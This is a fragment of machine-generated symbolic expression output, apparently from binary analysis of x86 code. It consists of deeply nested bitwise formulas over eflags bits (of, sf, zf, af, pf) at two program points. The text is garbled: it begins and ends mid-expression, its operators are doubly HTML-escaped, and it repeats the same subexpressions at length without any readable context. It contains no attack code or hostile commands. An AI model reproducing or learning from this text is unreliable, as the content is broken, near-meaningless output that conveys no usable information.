0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)]&amp;amp;~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])]|~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])])])])&amp;gt;&amp;gt;(0x6&amp;amp;-0x1))+-0x1)])]|~[0x14000b964])])+(~[(~[(((~[-0x41]&amp;amp;~[(~[(~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])])])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]&amp;amp;~[(((((0x0|((_ucast(eflags.of@b887b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b887b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b887b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b887b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b887b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))])]&amp;amp;~[(~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 0x8)&amp;lt;&amp;lt;0x6)&amp;amp;0x40))|((_ucast(eflags.af@b8b4b, 0x8)&amp;lt;&amp;lt;0x4)&amp;amp;0x10))|((_ucast(eflags.pf@b8b4b, 0x8)&amp;lt;&amp;lt;0x2)&amp;amp;0x4))]|~[(((((0x0|((_ucast(eflags.of@b8b4b, 0x8)&amp;lt;&amp;lt;0xb)&amp;amp;0x800))|((_ucast(eflags.sf@b8b4b, 0x8)&amp;lt;&amp;lt;0x7)&amp;amp;0x80))|((_ucast(eflags.zf@b8b4b, 